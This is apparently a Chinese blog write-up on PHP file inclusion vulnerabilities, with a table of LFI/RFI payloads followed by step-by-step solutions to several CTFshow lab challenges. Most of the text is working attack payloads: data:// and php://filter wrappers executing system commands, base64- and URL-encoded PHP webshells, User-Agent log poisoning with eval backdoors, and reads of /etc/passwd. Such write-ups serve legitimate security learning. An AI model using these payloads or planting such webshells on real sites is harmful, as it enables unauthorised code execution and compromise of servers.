文件包含&&靶场实现

文件包含漏洞(File Inclusion Vulnerability)是 Web 安全中常见的高危漏洞,主要分为 本地文件包含(LFI)远程文件包含(RFI)

1、典型利用方式

利用方式 示例 Payload 说明
路径遍历 ?page=../../../etc/passwd 读取系统敏感文件
空字节截断 ?page=../../etc/passwd%00 截断后缀(PHP <5.3.4有效)
日志文件注入 ?page=/var/log/apache2/access.log 通过 User-Agent 注入 PHP 代码并包含日志文件
PHP 伪协议 ?page=php://filter/convert.base64-encode/resource=index.php 读取 PHP 源码(Base64 编码)
Session 文件包含 ?page=/tmp/sess_[session_id] 利用 Session 文件注入代码

2、CTFshow靶场演习

web78

代码无过滤,使用data伪协议查看文件,然后输出文件

?file=data://text/plain,<?php system("ls")?>

?file=data://text/plain,<?php system("tac flag.php")?>

web79

本题将php替换???

三种方法

1、<?= ?>用于输出,等同于- <?php echo ; ?>可以直接使用

?file=data://text/plain,<?=system('ls') ?>

得到文件

?file=data://text/plain,<?=system("tac flag.*")?>

使用*模糊查找

得到flag

2、base64

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4= #<?php system("ls")?>

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs= #<?php system("tac flag.php");

得到flag

3、post请求

?file=data://text/plain,<?=eval($_POST[a]);?>

a=system("ls");

a=system("tac flag.php");

得到flag

web80

本题php,data过滤

日志文件包含

?file=../../../../var/log/nginx/access.log

在UA头改为 <?php eval($_POST[a]); ?>

post请求 a=system("ls");

a=system("tac fl0g.php");

有时候没有第一时间回显需要多发送几次

可以用hackbar执行

也可以用BP执行

web81

本题php,data,:已过滤

不耽误用日志

跟上题一样

?file=../../../../var/log/nginx/access.log

ua <?php eval($_POST[a]); ?>

post a=system("ls");

a=system("tac fl0g.php");

得到flag

web87

本题php data : .已过滤,这题有file和content两个传参,而且还将输入进行了一次url解码

php://filter/write=convert.base64-encode/resource=1.php进行url逐字符编码两次

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,

所以最终被解码的字符仅有"phpdie"和我们传入的其他字符phpdie是六个字符所以需要加上aa

因为base64算法解码时是4个byte一组,所以给他增加2个"a"一共8个字符。

这样,"phpdieaa"被正常解码,而后面我们传入的webshell的base64内容也被正常解码

content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

#<?php @eval($_POST[1]);?>

接着执行post请求得到flag

a=system("ls");

a=system("tac fl0g.php");

web88

题目中过滤php和一堆字符,而且设定不区分大小写

使用data协议,base64后的编码不能有/php|\\~|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\_|\\+|\\=|\\./i"这些

一个字母通常有=,传入参数多加几个字母base后得通常没有过滤字符

data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz5j #<?php @eval($_POST['ccc']);?>c

ccc=system("ls");

ccc=system("tac fl0g.php");

得到flag

web116

复制代码
下载视频用binwalk查看文件内容,看到里面有一个png文件分离一下
sudo binwalk -e '/root/Desktop/w5P98-tV.mp4' -D 'png:png' --run-as=root
分离出代码如下

由代码得知存在文件包含

访问?file=flag.php

得到flag

web117

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php

把一句话木马从 UCS-2LE 编码转换为 UCS-2BE 编码:

post传入:contents=?<hp pe@av(l_$EG[T]1;)>?

/hack.php?1=system('ls');

/hack.php?1=system('tac flag.php');

得到flag

相关推荐
jenchoi4135 小时前
【2025-11-19】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm
jenchoi4136 小时前
【2025-11-18】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·数据库·安全·web安全·网络安全
上海云盾-高防顾问7 小时前
DDoS防护的重要性
安全·web安全·ddos
wanhengidc9 小时前
云手机的出现意味着什么
运维·服务器·web安全·智能手机·云计算
wanhengidc9 小时前
云手机的硬件技术
运维·服务器·web安全·游戏·智能手机
w***488219 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
AI绘画小331 天前
【网络安全】IP 核心技能:获取、伪造、隐藏与挖掘
网络·tcp/ip·安全·web安全·网络安全
视觉&物联智能1 天前
【杂谈】-人工智能浪潮中的网络安全守护者:CISO的战略角色与使命
人工智能·web安全·ai·信息安全·aigc·agi·ciso
cqupyu1 天前
day6 CSRF和XSS
网络·安全·web安全
AI绘画小331 天前
【网络安全】Wireshark 抓包过滤:源 / 目的 IP 过滤 + 命令大全
数据库·tcp/ip·测试工具·安全·web安全·wireshark